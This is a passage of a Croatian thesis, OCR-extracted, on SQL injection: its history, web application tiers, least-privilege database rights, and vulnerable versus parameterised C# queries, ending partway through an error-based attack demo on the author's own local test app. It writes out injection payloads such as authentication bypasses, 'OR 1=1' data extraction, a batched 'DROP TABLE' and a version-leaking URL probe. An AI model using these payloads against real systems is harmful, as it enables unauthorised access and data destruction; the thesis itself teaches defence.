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Sazetak

lako je prvi spomen "SQL Injection™ napada bio davne 1998. godine u "Phrack Magazine"
e-Casopisu te ga je relativno trivijalno za sprijeciti, mnoge aplikacije i web stranice su i nakon
20 godina ranjive na ovakvu vrstu napada. Motivacija za pisanje ovog rada proizlazi iz
osobne znatizelje za raznim metodama i trikovima kojima se napadaci koriste kako bi
neovlasteno pristupili sustavima, te §to je sve moguée napraviti nakon $to imamo pristup
sustavu. Ovim radom ¢u pokazati tehnike napada na sustave za upravljanje relacijskim
bazama podataka te kako se od njih obraniti. Nadam se da ¢e ovaj rad posluziti budu¢im

generacijama programera koji pokusavaju zastititi svoje aplikacije i sustave.

Kljuéne rije¢i: umetanje SQL koda, napad, neovlasten pristup.



Summary

Although SQL injection attack was first mentioned in 1998. inside ,,Phrack Magazine* and
it is rather trivial to prevent it many applications and web sites are still vulnerable to this
attack method. The motivation in writing this thesis comes from personal curiosity in
different tricks and methods used by attackers to gain unauthorized access to systems, and
what can happen after an attacker gains access. This thesis will show attack techniques on
RDBMS software and how to defend from them. I hope my work will help future generations

in protecting their application and systems.

Keywords: SQL injection, attack, unauthorized access.
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1. Uvod

Za danasnje poslovanje podatci su jedan od najcjenjenijih resursa. Svako naruSavanje
povijerljivosti ili integriteta tih podataka moze biti Stetno za poslovanje ili, u slu¢ajevima

napada na drzavne institucije, moze dovesti do ugrozavanja nacionalne sigurnosti.

Sigurnost sustava bi trebao biti visok prioritet svakog poslovanja. Napadi umetanja SQL
kdda (engl. sql injection attacks) kategoriziraju se kao kriti¢ni propusti u sigurnosti. Ukoliko
je aplikacija ranjiva na napade umetanja SQL ko6da, to moze rezultirati kradom povjerljivih
podataka, ugrozom integriteta podataka, te moze napadacu posluziti kao pocetna tocka
dubljeg prodora u sustav. Pod odredenim okolnostima, Vjest napada¢ moze povecati ovlasti

(engl. privilege escalation) naspram onih koje su mu inicijalno dodijeljene.

lako je prvi spomen ovakvog napada bio jos 1998. godine, a danas su metode obrane od
ovakve vrste napada vrlo dobro dokumentirane i poznate, napadi umetanja SQL koda su i
danas rasprostranjeni. Prema istrazivanjima' Akamai organizacije, ¢ak 21.6 posto svih
napada u Cetvrtom kvartalu 2017. godine na web aplikacije su bili napadi umetanja SQL
kdda.

Ovaj rad ¢e prikazati osnove pronalaska i viSe razli¢itih metoda eksploatacije navedene
ranjivosti (engl. vulnerability), u svrhu izvla¢enja podataka iz baze podataka za koju u
normalnim okolnostima ne bismo imali prava pristupa. Uz manualan pronalazak ranjivosti,
takoder ¢emo testirati rjeSenje za automatsko otkrivanje ranjivosti. U drugom poglavlju
obraduje se opéenito povijest i opasnost od napada umetanja SQL kdda, dok je u tre¢em
poglavlju na prakticnom primjeru prikazan sam napad. U Cetvrtom poglavlju se analizira
alat za automatiziranu provjeru ranjivosti, a u petom poglavlju donosi se zaklju¢ak na

temelju prethodno iznesenog.

1 https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Web-application-attacks-2018-eng.pdf
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2. Napad umetanja SQL kéda

1998. godine u e-Casopisu ,,Phrack Magazine“ [1] izasao je ¢lanak kojeg je napisao
anoniman autor pod pseudonimom ,,Rain Forest Puppy*. Autor ¢lanka fokusirao se na tada
aktualni MS SQL Server 6.5 i na moguénost ulan¢avanja naredbi (engl. batch commands).
Autor je demonstrirao kako iskoristiti korisnu znafajku za neovlaSteno pristupanje
podatcima. Takoder, isti autor pokazao kako je moguce narusiti sigurnost cijelog posluzitelja

koriste¢i ugradene sistemske procedure.

2000. godine David Litchfield na BlackHat Europe konferenciji unutar svoje prezentacije
naziva ,,Application Assessments on IIS“ [2] demonstrira ulanavanje naredbi i ugrozu
sigurnosti SQL posluzitelja citanjem podataka iz tablice ,,sysxlogins®, koja sadrzi
vjerodajnice ,,sa“? korisni¢kog raéuna, te kako pomoéu ,.xp_cmdshell* sistemske procedure
izvrSavati proizvoljne naredbe koje se izvrSavaju na samom operativnom sustavu van SQL

posluzitelja. Na taj na¢in moze lako do¢i do prodora u ostale sustave unutar mreze.

2002. godine Chris Anley objavljuje rad naziva ,,Advanced SQL Injection In SQL Server
Applications* [3] u kojem otkriva metode koje omoguéavaju utjecaj na operativni sustav na
kojem se nalazi SQL posluzitelj. Chris Anley takoder u svom radu piSe o raznim metodama
izbjegavanja sanacije unosa, izbjegavanje sigurnosne revizije sustava, te kako se braniti od

takvih napada.

Nakon 2002. godine napadi umetanja SQL koda postaju vrlo popularni te mnogi istrazivacki

radovi i predavanja obraduju upravo tu temu. Neki od radova su:

= David Litchfield 2003. godine odrzava predavanje na Black Hat Europe konferenciji
pod nazivom ,,SQL Injection and Data Mining Through Inference® [4].

= 2004. godine William G.J. Halfond, Jeremy Viegas, i Alessandro Orso s fakulteta
Georgia Institute of Technology objavljuju rad pod nazivom ,,A Classification of
SQL Injection Attacks and Countermeasures® [6].

= 2005. godine Pankaj Sharma ¢lan tima ,,Indian Computer Emergency Response
Team* iz Indijskog drzavnog ureda ,,Ministry of Communications and Information
Technology* objavljuje rad pod nazivom ,SQL Injection Techniques &

Countermeasures® [7].

2 sa“ oznacava system administrator korisni¢ki radun - ra¢un koji ima najveée privilegije unutar sustava



2006. godine na Black Hat USA konferenciji Bala Neerumalla iz Microsofta odrzava
predavanje naziva ,,SQL Injections by truncation [8].

2007. godine na sigurnosnom seminaru CERIAS koje se odrzavalo na sveucilistu
Purdue Dr. V. N. Venkatakrishnan odrzava govor naziva ,,Preventing SQL Injection
Attacks using Dynamic Candidate Evaluations® [9].

2007. godine na Defcon 17 konferenciji Joseph McCray odrzava predavanje pod
nazivom ,,Advanced SQL Injection* [10].

2008. godine Jagdish Halde sa sveucilista San Jose State University izdaje rad pod
nazivom ,,SQL Injection analysis, Detection and Prevention* [11].

2009. godine Bernardo Damele Assumpg¢édo Guimaraes izdaje znanstveni rad naziva
»Advanced SQL injection to operating system full control* [12].

2010. godine Atefeh Tajpour sa sveucilista Universiti Teknologi Malaysia izdaje rad
pod nazivom ,,Evaluation of SQL Injection Detection and Prevention Techniques*
[13].

2011. godine u ¢asopisu International Journal on Computer Science and Engineering
izlazi ¢lanak autora: Nikita Patel, Fahim Mohammed i Santosh Soni. Naziv ¢lanka je
,»SQL Injection Attacks: Techniques and Protection Mechanisms* [14].

2012. godine Sruthy Manmadhan objavljuje rad naziva ,,A Method of Detecting Sql
Injection Attack to Secure Web Applications® [15].

2013. godine u ¢asopisu International Journal of Computer Applications izlazi ¢lanak
naziva ,,SQL Injection Attacks: Technique and Prevention Mechanism* autora
Gaurav Shrivastava i1 Kshitij Pathak sa sveuciliSta Mahakal Institute of Technology
[16].

2014. godine u sklopu ¢asopisa Journal of Computer and Communications izlazi
¢lanak ,,A Survey of SQL Injection Attack Detection and Prevention® [17].

2015. godine na Defcon 23 konferenciji predava¢ Nemus odrzava predavanje naslova
,Hacking SQL Injection for Remote Code Execution on a LAMP Stack* [18].
2016. godine u sklopu cCasopisa International Journal of Engineering Applied
Sciences and Technology izlazi ¢lanak naziva ,,Study on sql injection attacks: mode,
detection and prevention® autora Subhranil Som, Sapna Sinha i Ritu Kataria sa
sveucilista Amity University Uttar [19].

2017. godine Multi-State information Sharing & Analysis Center (MS-ISAC) koji
spada organizaciju Center for Internet Security izdaje rad jednostavnog naziva ,,SQL

Injection®, kojemu je autor Stephanie Reetz [20].



= 2018. godine u casopisu International Journal of Engineering Research in Computer
Science and Engineering izlazi ¢lanak kojeg je napisalo vise autora, a zove se ,,A
Top Web Security Vulnerability: SQL Injection attack® [21].

Navedeni radovi pokazuju konstantnu prisutnost ovakvih napada u zadnjih 20-ak godina te

napore profesionalne i znanstvene zajednice u razvoju tehnika njihovo sprjecavanja.

2.1. Opasnosti umetanja SQL koda

Princip napada umetanja SQL kdda se u svojoj srzi svodi na manipulaciju korisnickog unosa
kako bismo promijenili pozadinski SQL upit (engl. SQL query) da izvrsi radnje za koje
originalno nije namijenjen. Cilj napada moze biti visestran:

» zaobilazenje autentikacije (engl. authentication bypass)

» izvladenje podataka (engl. data extraction)

» izvrSavanje programskog kdda (engl. code execution)

* naruSavanje integriteta podataka

* prodor u sustave van SQL posluZitelja

Ukoliko je napada¢ uspjesan u otkrivanju i eksploataciji ove ranjivosti, onda je on stavljen
U poziciju utjecaja na rad samog operativnog sustava i potencijalno dobiva pristupa ostalim
servisima unutar mreze zrtve. Napadac¢ putem posebno izradenih SQL upita potencijalno
moze:

= Citati iz registra operativnog sustava (engl. registry)

= (itati datoteke koje se nalaze na posluzitelju

= Kreirati datoteke na datote¢nom sustavu posluzitelja

» izvrSavati naredbe na vezanim posluziteljima (engl. linked server)

* pokretati maliciozan programski kod putem prilagodenih knjiznica dinami¢nog

vezivanja (engl. custom dynamic link library)

Ranjivost umetanja SQL koda nije specificna za odredeni proizvod; svi sustavi za
upravljanje relacijskim bazama podataka podlozni su ovom napadu jer on proizlazi iz
nemara ili pak neznanja programera. LoSa praksa programera U kojoj prikazuju detaljne

greske korisnicima, uvelike olakSava ovu vrstu napada.

Hipotetski primjer napada bi bila web aplikacija koja od korisnika zahtijeva korisnicko ime

I lozinku kako bi pristupili odredenoj stranici. Primjerice, nakon Sto korisnik na web stranici



unese ,,admin‘ kao korisni¢ko ime, a ,.tajna“ kao lozinku, loSe napisana web aplikacija ¢e
prihvatiti korisnicki unos u cijelosti te ¢e ga kao takvog ukomponirati u SQL upit:

SELECT * FROM Korisnici

WHERE KorisnickoIme = 'admin' AND Lozinka = 'tajna'
Ukoliko postoji korisnik ¢ije je korisni¢ko ime ,,admin‘ i ako ima lozinku koja glasi ,,tajna®,
korisniku ¢e biti omogucéen pristup na web aplikaciju. Navedeni pristup izrade SQL upita
ranjiv je na napade umetanja SQL kdda. Jednostavan primjer je taj da maliciozan korisnik

3

moze pod korisni¢ko ime upisati vrijednost ,,admin'--*, §to ¢e rezultirati izvr$avanjem
sljedeceg SQL upita:

SELECT * FROM Korisnici

WHERE KorisnickoIme = 'admin'--' AND Lozinka = 'tajna'
Kako ,,--“ (dvije crtice jedna iza druge) u SQL sintaksi oznacavaju pocéetak komentara (tj.
dijela koda koji se ne izvrsava), efektivni SQL upit koji ¢e biti izvrSen je sljedeci:

SELECT * FROM Korisnici WHERE KorisnickoIme = 'admin'

Na ovaj jednostavan nacin napadac je stekao pristup web aplikaciji bez da je znao lozinku

korisnika.

2.2. Arhitektura web aplikacija

Web aplikacija je klijentsko-posluziteljski program, gdje je klijent preglednik koji prikazuje
korisni¢ko sucelje 1 izvrSava klijentsku logiku. Na posluZitelju se izvrSava poslovna logika,
kalkulacije i dohvat podataka. Razlika izmedu web stranica i web aplikacija nije strogo
definirana; web stranicom se generalno smatra stati¢na stranica bez mogucnosti prevelike
interakcije s korisnikom, a ako ima sli¢ne funkcionalnosti kao aplikacija (engl. desktop

application), onda se smatra web aplikacijom.

Aplikacije su obi¢no gradene slojevito, pri ¢emu svaki sloj ima odredenu ulogu. Web
aplikacije se tipi¢no razvijaju u takozvanom troslojnom modelu, kao $to je prikazano na slici
(Slika 2.1).



Prezentacijski sloj

Najvisi sloj aplikacije

je korisnicko sucelje. Glana namjena
sucelja je prikaz zadatka i rezultata

u oblik koji korisnik moZe razumijeti.

Logicki sloj
Ovaj sloj je zaduZen za koordinaciju
aplikacije, izarSavanje naredbi,

donosenje logickih zakljucaka, . DOHVAT SVIH *  ZBROJI SVE
i izrSavanje matematickih kalkulacija. RACUNA OD IZNOSE RACUNA
Takoder je zaduZen za prijenos i obradu . PROSLE GODINE o
podataka izmedu slojeva ispod i iznad njega.
RACUN 1
UPIT R%UN 2
- - RACUN 3
Podatkovni sloj RACUN 4
Na ovom sloju se pohranjuju i dohvacaju
informacije izbaze podataka ili datote¢nog sustava.
Informacije se tada prosljeduju logickom sloju
radi daljnjeg procesuiranja, a potom
u prezentacijski sloj radi prikaza korisniku.
——
—) 3
Pohrana

Baza podataka podataka

Slika 2.1 Troslojni model razvoja aplikacija®

Prezentacijski sloj (engl. presentation tier) je sloj koji je prikazan korisniku, a preko kojeg
korisnik moze imati interakciju s aplikacijom. Taj prezentacijski sloj moze komunicirati
samo s logi¢kim slojem, odnosno nikada ne moze direktno do¢i do podatkovnog sloja. U
kontekstu web aplikacija, prezentacijski sloj je stranica prikazana u pregledniku. Web
aplikacije se izraduju uz pomoc¢ jezika HTML i CSS, te skriptnog jezika JavaScript.
Logicki sloj (engl. logic tier) zaduzen je za obradu korisni¢kog unosa, primjenu validacijskih
pravila, poslovnu logiku i spajanje na podatkovni sloj. Logicki sloj ujedno vrs$i pripremu i
obradu podataka koji ¢e se prezentirati korisniku. U kontekstu web aplikacija, logi¢ki sloj se
izvr$ava na web posluzitelju (engl. web server). Neki od poznatijih web posluzitelja su:

= Apache

3https://upload.wikimedia.org/wikipedia/commons/5/51/Overview of a three-
tier_application vectorVersion.svg
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= Microsoft Internet Information Server (skraceno IIS)

*  nginx

Podatkovni sloj (engl. data tier) zaduZen je za perzistenciju podataka. Podatci se najéesce
zapisuju unutar relacijske baze podataka, no to ne mora nuzno biti tako. Podatci mogu biti
zapisani i na druge medije, poput dijeljenog mreznog diska. Logicki sloj nije svjestan
pozadinskih mehanizama podatkovnog sloja jer podatkovni sloj gotovo nikada ne
omogucuje pristup sirovim podatcima direktno, ve¢ putem API-a (engl. application
programming interface). U slu¢aju da se za podatkovni sloj koriste relacijske baze podataka,
dio obrade podataka moze Se izvrSavati na podatkovnom sloju u vidu filtriranja, spajanja
(engl. joins), grupiranja, sumiranja, itd. Neki od poznatijih sustava upravljanja relacijskim

bazama podataka su:

= MySQL

= Microsoft SQL Server
= Oracle

= PostgreSQL

= MongoDB

= SQLite

* Redis

= MariaDB

Budu¢i da napadaci gotovo nikada nemaju direktan pristup bazi podataka, oni ¢e pokusati
pronaé¢i propuste u logickom sloju aplikacije. Ponekad aplikacije dozvoljavaju direktan
pristup logi¢kom sloju, odnosno API-ju, no veéinom je pristup logickom sloju omogucen

indirektno - putem prezentacijskog sloja.

Web aplikacija je prva dodirna tocka napadaca iz koje se mogu saznati korisne informacije.
Napadaci se mogu ponasati kao legitimni korisnici kako bi naucili legalne procedure sustava,
a proucavanje moze otkriti grubu strukturu baze podataka, koja vrsta podataka se nalazi
unutar nje i mogu li se standardne procedure zlorabiti. Primjer zlouporabe standardne

procedure je negativna uplata. Primjer pseudo kbda transakcije:

1. Provjeri trenutno stanje racuna osobe A

2. Oduzmi vrijednost koju zelimo uplatiti od trenutnog stanja racuna osobe A
3. Provjeri trenutno stanje racuna osobe B
4

Dodaj vrijednost koju zZelimo uplatiti stanju raCuna osobe B.



U legitimnom primjeru pocetno stanje ra¢una osobe A je 500,00 kuna, pocetno stanje ratuna

osobe B je 800,00 kuna. Osoba A zeli poslati osobi B 100,00 kuna:

1. Provjera stanja ra¢una osobe A; rezultat je 500,00 kuna

2. Oduzimanje Zeljene vrijednosti sa ra¢una 500,00 kuna minus 100,00 kuna; rezultat
je da osoba A na racunu ima 400,00 kuna

3. Provjera stanja racuna osobe B, rezultat je 800,00 kuna

4. Dodavanje zeljene vrijednosti na ra¢un 800,00 kuna plus 100,00 kuna; rezultat je da

osoba B na ra¢unu ima 900,00 kuna

U malicioznom primjeru zlouporabe standardne procedure, napada¢ ¢e pokusati poslati

negativan iznos, odnosno -100,00 kuna:

1. Provjera stanja ra¢una napadaca; rezultat je 500,00 kuna

2. Oduzimanje vrijednosti s racuna 500,00 kuna minus -100,00 kuna, kako matematicki
minus i minus daju plus, rezultat je uvecanje stanja, odnosno napadac ¢e imati 600,00
kuna na racunu

3. Provjera stanja racuna zrtve; rezultat je 800,00 kuna

4. Dodavanje Zeljene vrijednosti na racun 800,00 kuna plus -100,00 kuna; rezultat je

umanjenje racuna, zrtvi ¢e na racunu ostati 700,00 kuna

Ovom jednostavnom metodom zlouporabe prezentacijskog sloja (dozvoljen unos negativne
vrijednosti), te propusta u logickom sloju (nedostatak provjere je li upisan broj pozitivan),

napadac je uspjesno ukrao sredstva s racuna Zrtve.

2.3. Osnove sigurnosnih mehanizama sustava za

upravljanje relacijskim baza podataka

U ovom poglavlju ¢emo se fokusirati na sigurnosne znacajke sustava za upravljanje
relacijskim baza podataka: na koje nacine se iz programskih jezika spajamo na sustave

relacijskim baza podataka te na razine prava koje je moguée dodijeliti pojedinom korisniku.

Sustavi upravljanja relacijskim baza podataka i klijent komuniciraju putem mreznog
protokola koji je zaduzen za prijenos podataka izmedu njih. Sustavi upravljanja relacijskim
baza podatka koriste razli¢ite protokole za komuniciranje. Kako bi proizvodaci §to vise
olaksali programerima koristenje njihovog sustava za upravljanje bazama podataka, oni

izdaju sluzbene upravljacke programe (engl. driver) koji su zaduZeni za uspostavljanje



komunikacije. lako programer ima slobodu napisati vlastite upravljacke programe, u vecini
slucajeva to nije potrebno. Primjerice, zelimo li se iz programskog jezika Java spojiti na
Microsoft SQL Server, mozemo Koristiti sluzbeni upravljacki program kojeg je izdao
Microsoft, naziva ,,Microsoft JDBC Driver for SQL Server®. Zelimo li se spojiti na MySQL,
mozemo koristiti upravljacki program ,,JDBC Driver for MySQL*. Isto tako, zelimo li se
spojiti na Oracle posluzitelj, mozemo koristiti ,,Oracle Database JDBC Driver upravljacki

program.

Nakon §to smo ostvarili mreznu komunikaciju izmedu posluzitelja i klijenta, potrebno je
odraditi korak autentikacije. Sve tri navedena sustava za upravljanje relacijskim bazama
podataka podrzavaju provjeru vjerodajnica putem korisni¢kog imena i lozinke, uz to Oracle
i Microsoft SQL Server podrzavaju provjeru vjerodajnica iz Windows operativnog sustava
(Windows authentication). Od tri navedena sustava jedino Oracle podrzava provjeru

vjerodajnica putem digitalnog certifikata.

Nazivi pojedinih znacajki I prava unutar tri navedena sustava za upravljanje bazama
podataka se razlikuju, no principi su jednaki na sva tri sustava. Prava se mogu dodijeliti
grupama korisnika (engl. roles), a potom pojedine korisnike dodajemo u jednu ili vie grupa.

Takoder, prava se mogu dodijeliti direktno korisniku.

Prava se dodjeljuju nad odredenim objektima. Objekti mogu biti bilo koji dio baze podataka
kao §to su: tablice, pogledi, procedure, itd. Prava mogu biti itanje (engl. read), pisanje (engl.
write), izvrSavanje (engl. execute), izmjena (engl. alter), itd. Kada dodjeljujemo prava
odredenom korisniku ili grupi korisnika, moguce je dati prava na sve vrste objekata (npr.

tablice) ili na pojedinac¢ne objekte.

Dobra praksa je dodijeliti najmanja moguca prava na §to manji broj objekata koji su potrebni

za rad aplikacije. Primjerice, imamo web shop aplikaciju koja ima iduce Cetiri tablice:

= Korisnici
= Racuni
= Stavke

=  KreditneKartice

MozZemo napraviti novog korisnika unutar baze podataka, koji ¢e imati prava Citati i pisati u

sve Cetiri navedene tablice, no nema prava mijenjati njihove strukture.

Pokaze 1i se potreba za izradom mjese¢nog financijskog izvjeS€a, mozemo napraviti

zasebnog korisnika koji ¢e imati samo prava Citanja na tablice ,,Racuni* i tablicu ,,Stavke*.



Drzimo li se principa dodjele ,,najmanjih mogucih prava®, postizemo vec¢u razinu sigurnosti

aplikacija koje izradujemo i odrzavamo.

10



3. Princip napada umetanja SQL koda

Napadi umetanjem SQL kbda najces¢e se dogadaju kada se od korisnika o¢ekuje unos,
primjerice prilikom prijave na sustav pomoc¢u korisni¢kog imena i lozinke ili kod pretrage.
Napad se svodi na to da maliciozan korisnik umjesto valjane vrijednosti unese SQL upit koji
¢e web aplikacija izvrsiti nad bazom podataka. Aplikacija je ranjiva ukoliko koristi inline
SQL upit umjesto parametriziranih upita. Primjer nesigurnog inline SQL upita unutar C#
jezika je iduci:

using (SglConnection sglConnection = new

SglConnection (connectionString))

{
sglConnection.Open() ;
SglCommand sglCommand = new SglCommand ("SELECT * FROM
Novosti WHERE ID = " + newsId, sglConnection);

SglDataReader newsReader = sglCommand.ExecuteReader () ;

newsReader.Read () ;

Kad 3.1 Primjer inline SQL upita u C# jeziku

Iz primjera (Kéd 3.1) vidimo da je SQL upit napravljen pomoc¢u spajanja stringova te ce se
kao takav izvrSiti na SQL posluZitelju. Primjer sigurnog kdda u C# jeziku gdje se koriste
parametrizirani upiti je iduci:

using (SglConnection sglConnection = new

SglConnection (connectionString))

{
sglConnection.Open() ;
SglCommand sglCommand = new SglCommand ("SELECT * FROM

Novosti WHERE ID = @NewsId", sglConnection);

sglCommand.Parameters.Add (new SglParameter ("@NewsId",

newsId)) ;

SglDataReader newsReader = sglCommand.ExecuteReader () ;

newsReader.Read () ;

Kod 3.2 Primjer parametriziranog upita u C# jeziku
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Iz primjera (K&d 3.2) vidimo da ¢e se SQL upit izvrsiti uz koriStenje varijable @NewsId.
Kada se izvrsava SQL upit koji sadrzi parametre vrijednosti, unutar parametra nece biti
izvrSen kao SQL kdd, ve¢ ¢e ih SQL posluzitelj gledati kao vrijednost. Na idu¢em primjeru
¢emo vidjeti zasto je opasno koristiti inline upite. Primjer ranjivog kdda za prijavu na web
aplikaciju koja sadrzi polja korisnicko ime i lozinka.

string sglQuery = @"
SELECT * FROM Korisnici WHERE
KorisnickoIme = '" + korisnickoIme + "' AND " +

Lozinka = '" + lozinka + "'";

Kad 3.3 Primjer ranjivog kdda, authentication bypass

Unese li korisnik valjane vrijednosti, primjerice za korisnickoIme vrijednosti,Pero®, a
za lozinka vrijednost ,,J4k4L0z1nk4“, SQL upit koji ¢e biti izvrSen na bazi izgledat ¢e
ovako:

SELECT * FROM Korisnici WHERE

KorisnickoIme = 'Pero' AND

Lozinka = 'J4k4L0z1lnk4'
No, maliciozan korisnik moze manipulirati SQL upitom. Unese li maliciozan korisnik unutar
korisnickoIme vrijednost,Pero®, azavrijednost lozinka,, OR'l'="1*, SQL upit koji
¢e biti izvrSen na bazi izgledat ¢e ovako:

SELECT * FROM Korisnici WHERE

KorisnickoIme = 'Pero' AND

Lozinka = '' OR '1'='1"
Zbog ubacenog dodatnog operatora OR (ILI operator), potrebno je ispuniti jednu od dvije
navedene provjere. Trebamo navesti ispravnu lozinku ili jedan mora biti jednako jedan.
Kako tvrdnja da je 'jedan uvijek jednako jedan' to¢na, maliciozan korisnik ¢e se ulogirati kao

korisnik ,,Pero bez da zna njegovu lozinku.

Da bismo sprijecili ovu ranjivost, potrebno je koristiti parametrizirane upite. Siguran upit bi
izgledao ovako:

SELECT * FROM Korisnici WHERE

KorisnickoIme = @Username AND

Lozinka = @Password
Upite koji koriste parametre SQL posluzitelj ispravno procesuira zato §to ,,razumije da
vrijednosti napisane unutar varijabli @Username | @Password nisu dio upita te ih nece

1Zvrsiti.
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Drugi primjer maliciozne manipulacije korisnickih unosa je primjer pretrage racuna.

string vlasnikID = User.Identity.ID;
string sglQuery = @"SELECT * FROM Racuni WHERE
VlasnikID = " + vlasnikID + " AND " +

"Godina = " + godina;
Kdd 3.4 Primjer ranjivog kdda, izvlacenje podataka (engl. data extraction)

Programer je u ovom primjeru pokusao ograniciti korisniku da se prikazuju samo njegovi
racuni za odabranu godinu. Varijabla viasnikID ¢e poprimiti identifikacijsku vrijednost
trenutno prijavljenog korisnika, a za potrebe ovog primjera mozemo re¢i da se radi o
korisniku koji ima identifikacijsku vrijednost 7. Unese li korisnik vrijednost godina
varijable da bude 2018, izvrSeni SQL upit ¢e izgledati ovako:

SELECT * FROM Racuni WHERE

VlasnikID = 7 AND

Godina = 2018
Maliciozan korisnik moZe za varijablu godina unijeti vrijednost ,,2018 OR 1=1%, izvrSeni
upit na bazi ¢e izgledati ovako:

SELECT * FROM Racuni WHERE
VlasnikID = 7 AND
Godina = 2018 OR 1=1
Kako je jedan uvijek jednako jedan, rezultat napada je da maliciozan korisnik ima pristup

racunima svih korisnika iz svih godina.

Treéi primjer se nastavlja iz primjera Kod 3.4. Maliciozan korisnik u odredenim uvjetima
moze iskoristiti znac¢ajku ulancavanja naredbi (engl. batch SQL statements). Ulancavanje
naredbi omogucava izvrSavanje vise SQL upita tako da ih razdvojimo znakom ,,; “*. Naime,
unese li maliciozan korisnik za vrijednost godina varijable ,,2018; DROP TABLE
Racuni;®, izvrSeni upit na bazi ¢e biti:

SELECT * FROM Racuni WHERE

VlasnikID = 7 AND

Godina = 2018; DROP TABLE Racuni;
Navedeni upit moZze ne samo unistiti podatke, ve¢ i samu tablicu i time moZe naruSiti
strukturu baze, $to moze dovesti do zaustavljanja cijele aplikacije i poslovanja napadnutog
sustava. Dakako, ovo je jednostavan primjer za potrebe rada; u realnom primjeru tablica

»Racuni ¢e na sebe imati vezane strane kljuceve te je nece biti lako obrisati, no ukoliko
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napadac¢ ima dovoljno znanja o strukturi nase baze podataka, on moze izmijeniti kljuceve pa

potom obrisati tablicu.

3.1. Metode napada

U ovom poglavlju bit ¢e prikazana Cetiri vrste napada umetanja SQL kbda. Napadi ¢e biti
prikazani na primjeru ranjive aplikacije koju sam sdm napisao. Aplikacija je napisanau .NET
Core okruzenju, a koristena je najaktualnija verzija .NET Core 2.3. Aplikacija je pisana u
Visual Studio 2019 razvojnom alatu s instaliranim svim zakrpama, koriste¢i MVC princip
(princip koji je vrlo popularan u razvoju poslovnih aplikacija i sustava). Aplikacija je
pokrenuta na Windows 10 operacijskom sustavu koji je azuriran sa svim sigurnosnim
zakrpama, a takoder je koristen i Microsoft SQL Server 2016 (SP1) sustav za upravljanje
relacijskim bazama podataka s instaliranim najnovijim sigurnosnim zakrpama u trenu
pisanja ovog rada. Sva Cetiri napada opisana u ovom poglavlju su: 1. temeljena na opisu
greske, koriste¢i union, 2. slijepa, 3. vremenski SQL napadi umetanja kdda, a uz to $to su
primjenjivi na Microsoft SQL Server, takoder su primjenjivi na Oracle i MySQL sustave za
upravljanje relacijskim bazama podataka. Imena napada odnose se na tehniku koristenu za
neovlaSteno izvlacenje informacija s posluzitelja. Glavna razlika izmedu napada na
Microsoft SQL Server, Oracle i MySQL su naredbe i funkcije koristene u napadima, principi
su jednaki. Primjerice, Zelimo li saznati verziju Microsoft SQL Server-a, to mozemo doznati
koristeci sljede¢i upit:
SELECT @@version
Ko6d 3.5 Microsoft SQL Server upit o trenutnoj verziji
Zelimo li isto napraviti na MySQL posluZitelju, upit je gotovo identi¢an:
SELECT version()
Kod 3.6 MySQL posluzitelj upit o trenutnoj verziji
Na Oracle posluzitelju upit ipak izgleda malo drugacije, no i dalje je vrlo sli¢an prethodna

dva upita:

SELECT * FROM vS$version

K6d 3.7 Oracle posluzitelj upit o trenutnoj verziji

Prema prikazanim primjerima, vidimo kako postoje velike sli¢nosti izmedu ove tri relacijske

baze podataka. U skladu s time, u ovom poglavlju ¢emo detaljno obraditi napade i metode
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obrane na Microsoft SQL Server, a u idu¢em poglavlju ¢emo obraditi specifi¢nosti svake

baze pojedinacno.

3.1.1. SQL napadi temeljeni na opisu gresaka

Prikazivanje detaljnih greSaka programa je korisno kod razvoja aplikacija, no moze biti vrlo
opasno ukoliko se greske prikazuju svima, a ne samo razvojnom timu. Napadi umetanja SQL
koda pomocu greSaka su ucinkoviti jer odaju mnostvo informacija koje napadacu uvelike
olakSavaju ostvariti napad. Javne web aplikacije bi trebale sakriti detalje greske koja se
dogodila; nema potrebe krajnjem korisniku prikazivati tehnicke informacije naseg sustava
zbog toga $to krajnji korisnik nije u moguénosti ukloniti gresku. Preporuka i dobra praksa je
da se greske zapiSu te da ih se onda prikaze samo ovlastenim korisnicima, a da se krajnje

korisnike samo izvijesti o postojanju greske, bez detalja.

Internal Server Error » =+

&« (&} & https//localhost:44390/Novosti?id=1 * 8

An unhandled exception occurred while processing the request.

SalExceptio Invalid column name "Datum’.

System.Data.5qlClient.SglCannection.UnError(SglException exception, bool breakConnection, Action<Action> wrapCloselnAction)

Slika 3.1 Primjer prikaza greske prilikom razvoja web aplikacije

Kao §to vidimo na primjeru (Slika 3.1) prikazana je greska Invalid column name '‘Datum’,

koja upucuje na to da kolona imena ,,Datum* ne postoji, §to ¢e nam pomo¢i pri uklanjanju

greske.
https://localhost:44390/Movosti’ X + | - https://localhost:44390/MNovostit X +
&« c & https://localhost:44390/NovostiZid=1 <« C @ https://localhost:44390/Novosti?id=2
Prva Druga
Prva novost Druga novost

Slika 3.2 Primjer ispravnog rada aplikacije

lako smo u prethodnim poglavljima rekli da se napadi najéeS¢e dogadaju kada se od
korisnika o¢ekuje unos vrijednosti, napad SQL umetanja koda je moguce izvesti I izravno

putem URL-a. Iz prilozene (Slika 3.2) podcrtana je id varijabla koja ¢e biti meta naseg
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napada. Bududi se sadrzaj varijable $alje na posluzitelj jednako kao $to bi se prenio i sadrzaj

korisni¢kog unosa, moguce je izvesti napad.

https://localhost44390/Movosti’ X + | - httpsi/flocalhost:44390/Movosti’ X +
&« C 8 https://localhost:44390/NovostiZid=7-6 &« (& a https://localhost:44390/NovostiZid=9-7
Prva Druga
Prva novost Druga novost

Slika 3.3 Primjer jednostavne provjere ranjivosti na napad umetanja SQL koda

Na primjeru Slika 3.3 (lijevi dio slike) smo umjesto id varijable vrijednost '1' zamijenili
matematickim izrazom '7-6'. Kako SQL prilikom izvrSavanja upita rjeSava zadane
matematicke izraze, to je rezultiralo prikazom prve novosti. Ovo je pouzdan znak napadacu

da web aplikacija ne koristi parametrizirane upite, ve¢ se na$ upit izvrsio.

Internal Server Error x =+

&« C & https://localhost:44390/Novosti?id=7-@ @version i 6

An unhandled exception occurred while processing the request.

SqlException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2016 (SP1)
(KB3182545) - 13.0.4001.0 (X64)

Oct 28 2016 18:17:30

Copyright (c) Microsoft Corporation

Express Edition (64-bit) on Windows 10 Pro 6.3 <X64= (Build 17134: )

' to data type int.

System.Data.5glClient.SglConnection.OnError(SqlException exception, bool breakConnection, Action<Action> wrapCloselnAction)

Slika 3.4 Primjer napada SQL umetanja koda, informacije o posluzitelju

Na primjeru Slika 3.4 smo zadali varijabli id vrijednost '7-@ @version'. SQL posluzitel;j je
